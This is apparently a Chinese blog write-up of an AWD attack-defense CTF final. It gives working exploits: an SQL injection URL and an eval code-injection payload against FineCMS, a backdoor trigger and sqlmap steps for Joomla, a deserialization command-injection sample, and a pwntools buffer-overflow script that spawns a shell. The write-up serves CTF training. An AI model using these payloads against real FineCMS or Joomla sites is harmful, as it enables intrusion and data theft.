第四届“百越杯”福建省高校网络空间安全大赛决赛AWD攻防题目解题思路

5 篇文章 0 订阅
1 篇文章 0 订阅

第四届“百越杯”福建省高校网络空间安全大赛决赛AWD攻防题目解题思路


0x00 前言

AWD网络拓扑
在这里插入图片描述

0x01 U-web-fineCMS

WEBShell检测
在这里插入图片描述这里没有直接可以利用的webshell,将其和网站上下的源码进行对比,除了第三个文件差别比较多之外,就没有其他的区别了。
漏洞查找
这个FineCMS是开源的代码,所以直接查找是否有现成的漏洞:

https://www.ichunqiu.com/course/59007 这个是某春秋的漏洞复现集合

从这个集合里面可知道至少有三个漏洞可以利用:

用户头像处任意文件上传
Sql注入漏洞
命令执行漏洞

漏洞分析与利用

用户头像处任意文件上传

 /**
  *  上传头像处理
  *  传入头像压缩包,解压到指定文件夹后删除非图片文件
  */
 public function upload() {

    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);

    if ($_POST['tx']) {
        $file = str_replace(' ', '+', $_POST['tx']);
        if (preg_match('/^([removed])/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目录权限不足或磁盘已满'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '图片字符串不规范'));
            }
        } else {

            exit(dr_json(0, '图片字符串不规范'));
        }
    } else {
        exit(dr_json(0, '图片不存在'));
    }

 // 上传图片到服务器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
    }


    exit('1');
 }

代码仅判断了是否是图片类型,所以在上传的时候用burp抓包即可。
首先先注册一个用户,之后找打上传头像
在这里插入图片描述
之后用Burp拦截并修改
在这里插入图片描述

在这里插入图片描述
在漏洞集合的文章里,会看到上传错误的报错,但是已经上传成功。但是这个上传后直接返回hack,审计到代码是:

在这里插入图片描述
这里过滤了php,php3/4/5然后尝试用pht后缀,但是我这里是linux下用phpstudy搭建的环境,所以不支持.pht后缀脚本。但是在赛场上听说是支持的,SO,可以用其绕过上传限制。

Sql注入漏洞

漏洞代码位于/finecms/dayrui/controllers/Api.php中的data2()函数,

ublic function data2() {

    $data = array();

    // 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
        // 授权认证码不正确
        $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {
        // 解析数据
        $cache = '';
        $param = $this->input->get('param');
        if (isset($param['cache']) && $param['cache']) {
            $cache = md5(dr_array2string($param));
            $data = $this->get_cache_data($cache);
        }
        if (!$data) {

            // list数据查询
            $data = $this->template->list_tag($param);
            $data['code'] = $data['error'] ? 0 : 1;
            unset($data['sql'], $data['pages']);

            // 缓存数据
            $cache && $this->set_cache_data($cache, $data, $param['cache']);
        }
    }

    // 接收参数
    $format = $this->input->get('format');
    $function = $this->input->get('function');
    if ($function) {
        if (!function_exists($function)) {
            $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
        } else {
            $data = $function($data);
        }
    }

    // 页面输出
    if ($format == 'php') {
        print_r($data);
    } elseif ($format == 'jsonp') {
        // 自定义返回名称
        echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
    } else {
        // 自定义返回名称
        echo $this->callback_json($data);
    }
    exit;
}

这个函数可以调用到其他的敏感函数,函数传入的参数进入了$data = $this->template->list_tag($param),正常来说系统封装的函数是用户不能调用的,但这里用户可以调用data函数,我们继续追踪,查看/finecms/dayrui/libraries/Template.php,代码如下:

switch ($system['action']) {

    case 'cache': // 系统缓存数据

        if (!isset($param['name'])) {
            return $this->_return($system['return'], 'name参数不存在');
        }

        $pos = strpos($param['name'], '.');
        if ($pos !== FALSE) {
            $_name = substr($param['name'], 0, $pos);
            $_param = substr($param['name'], $pos + 1);
        } else {
            $_name = $param['name'];
            $_param = NULL;
        }

        $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
        if (!$cache) {
            return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
        }

        if ($_param) {
            $data = array();
            @eval('$data=$cache'.$this->_get_var($_param).';');
            if (!$data) {
                return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
            }
        } else {
            $data = $cache;
        }

        return $this->_return($system['return'], $data, '');
        break;

    ...

    case 'sql': // 直接sql查询

        if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {

            // 数据源的选择
            $db = $this->ci->db;

            // 替换前缀
            $sql = str_replace(
                array('@#S', '@#'),
                array($db->dbprefix.$system['site'], $db->dbprefix),
                trim(urldecode($sql[1]))
            );
            if (stripos($sql, 'SELECT') !== 0) {
                return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
            }

            $total = 0;
            $pages = '';

            // 如存在分页条件才进行分页查询
            if ($system['page'] && $system['urlrule']) {
                $page = max(1, (int)$_GET['page']);
                $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
                $total = (int)$row['c'];
                $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
                // 没有数据时返回空
                if (!$total) {
                    return $this->_return($system['return'], '没有查询到内容', $sql, 0);
                }
                $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
                $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
            }

            $data = $this->_query($sql, $system['site'], $system['cache']);
            $fields = NULL;

            if ($system['module']) {
                $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
            }

            if ($fields) {
                // 缓存查询结果
                $name = 'list-action-sql-'.md5($sql);
                $cache = $this->ci->get_cache_data($name);
                if (!$cache && is_array($data)) {
                    // 模型表的系统字段
                    $fields['inputtime'] = array('fieldtype' => 'Date');
                    $fields['updatetime'] = array('fieldtype' => 'Date');
                    // 格式化显示自定义字段内容
                    foreach ($data as $i => $t) {
                        $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                    }
                    //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                    $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
                }
                $data = $cache;
            }
            return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
        } else {
            return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
        }
        break;

    ...
 }

所以构造index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql='select%20user();'即可

sql注入

代码执行

漏洞代码同样位于/finecms/dayrui/controllers/Api.php中的data2()函数:


    $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
        if (!$cache) {
            return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
        }

只需让$cache有返回值,就可以执行eval()函数了,我们继续追踪_cache_var() :


 public function _cache_var($name, $site = SITE_ID) {

    $data = NULL;
    $name = strtoupper($name);

    switch ($name) {
        case 'MEMBER':
            $data = $this->ci->get_cache('member');
            break;
        case 'URLRULE':
            $data = $this->ci->get_cache('urlrule');
            break;
        case 'MODULE':
            $data = $this->ci->get_cache('module');
            break;
        case 'CATEGORY':
            $site = $site ? $site : SITE_ID;
            $data = $this->ci->get_cache('category-'.$site);
            break;
        default:
            $data = $this->ci->get_cache($name.'-'.$site);
            break;
    }

    return $data;
 }

所以构造Payload:
index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=cache name=MEMBER.1'];phpinfo();$a=['1
在这里插入图片描述
但是如果直接把phpinfo()替换成system(‘cat flag’)会出错,原因是在finecms/dayrui/libraries/Template.php中的正则匹配会导致return的$string不一致:

...
    public function _get_var($param) {
        $param=$this->waf($param);
        $array = explode('.', $param);
        if (!$array) {
            return '';
        }

        $string = '';
        foreach ($array as $var) {
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }
 ...

所以如果输入http://www.finecms.awd/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271%27
在这里插入图片描述
如果输入的payload是http://www.finecms.awd/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=cache%20name=MEMBER.1%27];system('cat flag');$a=[%271%27,会发现从空格处被截断了:
在这里插入图片描述
在linux下,如果空格被过滤了,还可以用${IFS}进行替换,但是依旧会导致return$string不一样:
在这里插入图片描述
基于这种情况,可以构造如下信息

http://www.finecms.awd/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=cache%20name=MEMBER.%271%27];system('cat${IFS}flag');$a=[%271%27

这样就能成功执行了【这里的flag是我伪造的: )】
在这里插入图片描述
在这里插入图片描述

0x02 U-web-Joomla

WEBShell检测在这里插入图片描述这里看到有一句话木马,定位到文件D:\phpStudy\WWW\byb2018\web\23\libraries\cms\router
在这里插入图片描述但是这个是个类,不能直接访问来使用,所以需要进一步分析。

查找有关Joomla的可以利用的漏洞或者功能:

Joomla内核SQL注入漏洞(CVE-2018-8045)https://www.ichunqiu.com/experiment/detail?id=61621&source=1
Joomla渗透-权限获取与维持 https://www.ichunqiu.com/experiment/detail?id=62987&source=1

这两者出现的问题就不再啰嗦了。

SQL漏洞利用

按照文章中说的,先登录后台,然后

在这里插入图片描述按照文中的指示,将其POST的数据URL解码之后放入txt文件中
在这里插入图片描述
在这里插入图片描述
之后用sqlmap进行检测:

在这里插入图片描述

在这里插入图片描述

权限维持——写入webshell

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
现在来研究第三个点——预置后门:
为了方便调试,将网站根目录下的configuration.phpdebug选项开启。
在这里插入图片描述
之后在用PHPSTORM进行调试,现在index的末尾的地方下断点:
在这里插入图片描述
然后再到检测出有后门的代码处下断点:
在这里插入图片描述
之后也顺便在这个地方所在的函数开始处下断点:

在这里插入图片描述
随后随便访问一下主页的文章,发现断在了有后门的的地方:
在这里插入图片描述
也就是访问文章的时候会陷入这个判断,再注意id=3
在这里插入图片描述
而我们访问的文章链接是:
/byb2018/23/index.php/3-welcome-to-your-blog,所以猜测这里的3-welcome-to-your-blog就是对应着id=3
所以如果构造id=666&A=assert&BB=phpinfo();就可以执行phpinfo()命令。
在这里插入图片描述我在复原的靶机里面放了一个模拟的flag,可以构造payload读取:
http://127.0.0.1/index.php/666?A=system&BB=cat+flag
在这里插入图片描述在这里插入图片描述

0x03 U-web-Starplus

WEBShell检测
在这里插入图片描述这个是安全狗检测的结果,但是追溯到源码,看到以下内容
在这里插入图片描述这里还是不算简单除暴的webshell,但是在大致浏览过网站源代码文件之后,就发现有个test.php文件,内容如下:

<?php

class test{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        
      
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        }
    }   
}
$a=@$_POST['a'];
@unserialize($a);
?>

这个部分剩下的坑之后再填吧,断断续续第写了好几天。。。
但是因为是去年的原题,大家还是可以先去看下英俊潇洒风流倜傥只是最近有点过劳肥的Thinking师傅曾经的分析文章,其他的感觉写的没他好,就算有我也不管。。。。。

https://www.freebuf.com/column/153123.html

0x04 U-pwn-easyGame

程序保护
在这里插入图片描述
程序伪代码

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  __int64 v4; // rax
  signed int v5; // [rsp+1Ch] [rbp-4h]

  sub_4043EC(a1, a2, a3);
  printf("====== ");
  printf(*a2, "Sorry, but wo jin li le, This project bug is so big, you jianchi buliao duojiu de.");
  v3 = " ======";
  puts(" ======");
  while ( 1 )
  {
    v5 = sub_404466(v3);
    v3 = (const char *)&unk_6075A0;
    if ( (unsigned int)sub_402CA6(&unk_6075A0, 1LL) != 0 )
    {
      if ( v5 == 1650553704 )
      {
        v3 = (const char *)&unk_6075A0;
        sub_402CE8(&unk_6075A0);
      }
      else if ( v5 == 1718378855 )
      {
        v3 = (const char *)&unk_6075A0;
        sub_402D6C(&unk_6075A0);
      }
    }
    if ( v5 == 4 )
      break;
    if ( v5 > 4 )
    {
      if ( v5 == 10000 )
      {
LABEL_30:
        sub_404706();
LABEL_31:
        sub_40493D();
      }
      else
      {
        if ( v5 > 10000 )
        {
          if ( v5 == 10010 )
            goto LABEL_31;
          if ( v5 != 10086 )
            goto LABEL_34;
          goto LABEL_29;
        }
        if ( v5 != 5 )
          goto LABEL_34;
        sub_403E9D();
      }
    }
    else if ( v5 == 1 )
    {
      v3 = (const char *)&unk_6075A0;
      sub_402EDE(&unk_6075A0);
    }
    else if ( v5 > 1 )
    {
      if ( v5 == 2 )
      {
        v3 = (const char *)&unk_6075E0;
        sub_40343E(&unk_6075E0);
      }
      else
      {
        if ( v5 != 3 )
          goto LABEL_34;
        v3 = (const char *)&unk_6075E0;
        sub_4036BA(&unk_6075E0);
      }
    }
    else
    {
      if ( !v5 )
      {
        v4 = std::operator<<<std::char_traits<char>>(&std::cout, "byby~");
        std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
        sub_403D5C();
        exit(0);
      }
LABEL_34:
      v3 = "invalid";
      puts("invalid");
    }
  }
  v3 = (const char *)std::operator<<<std::char_traits<char>>(&std::cout, "Please wait to development");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
LABEL_29:
  sub_4044CF();
  goto LABEL_30;
}

其中,在函数sub_402CE8中有system('/bin/sh'),可以最后用来getshell:

_DWORD *__fastcall sub_402CE8(_DWORD *a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  _DWORD *result; // rax

  if ( *a1 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome, Your can use shell:");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    system("/bin/sh");
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "You just hava one time to use admin.");
  }
  else
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "You aren't admin, please get out here.");
  }
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  result = a1;
  *a1 = 0;
  return result;
}

EXP 编写思路
因为程序没有开启任何保护,所以先测出填充的长度,然后直接改写RIP的值,让它指到sub_402CE8就可以了。
程序的主要功能有如下几个:
在这里插入图片描述
经过测试,这里只有先登录,才能进行其他的操作。其他的操作里面,在第五个选项中输入200个字节之后出现Segmentation fault错误。说明此处存在栈溢出。
经过测试,当填充136个无效字符之后,再填写内容将会覆盖RIP,所以可以构造payload:
payload = 'A'*136 + p64(0x402CE8)

因为这里不太清楚比赛时服务器里面UserData文件里面有什么内容,所以测试的时候就先写入admin。

EXP

#coding:utf-8

from pwn import *

p = process('pwn2')

payload = 'A'*136 + p64(0x402CE8)
p.recvuntil('your choose:')
p.sendline('1')
p.recvuntil(':')
p.sendline('admin')
p.recvuntil(':')
p.sendline('a')
p.recvuntil('your choose:')
p.sendline('5')
p.recvuntil('?')
p.sendline(payload)
p.recvuntil('shell:')
p.sendline('cat flag')

p.interactive()

至于批量脚本怎么写,就请各位师傅自己开动脑筋了。=3


看了这么多一定累了,来个小姐姐养养眼吧 ?在这里插入图片描述

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值